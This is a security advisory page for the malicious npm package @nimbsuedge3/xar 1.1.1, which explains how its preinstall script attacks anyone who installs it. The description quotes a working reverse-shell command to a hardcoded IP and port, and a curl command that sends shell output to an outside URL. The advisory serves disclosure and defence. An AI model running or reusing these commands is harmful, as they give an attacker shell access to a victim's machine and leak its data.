# GHSA-RG8R-9WP3-7JRG: Malicious code in @nimbsuedge3/xar (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-09-21
- Modified: 2026-09-21

## Affected versions

- @nimbsuedge3/xar (npm): 1.1.1

## Description

## Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf)
package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbsuedge3/xar/MAL-2026-16301.json))

## References

- https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbsuedge3/xar/MAL-2026-16301.json
- https://www.npmjs.com/package/@nimbsuedge3/xar/v/1.1.1
- https://github.com/advisories/GHSA-rg8r-9wp3-7jrg

Page: https://cve.now/GHSA-RG8R-9WP3-7JRG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
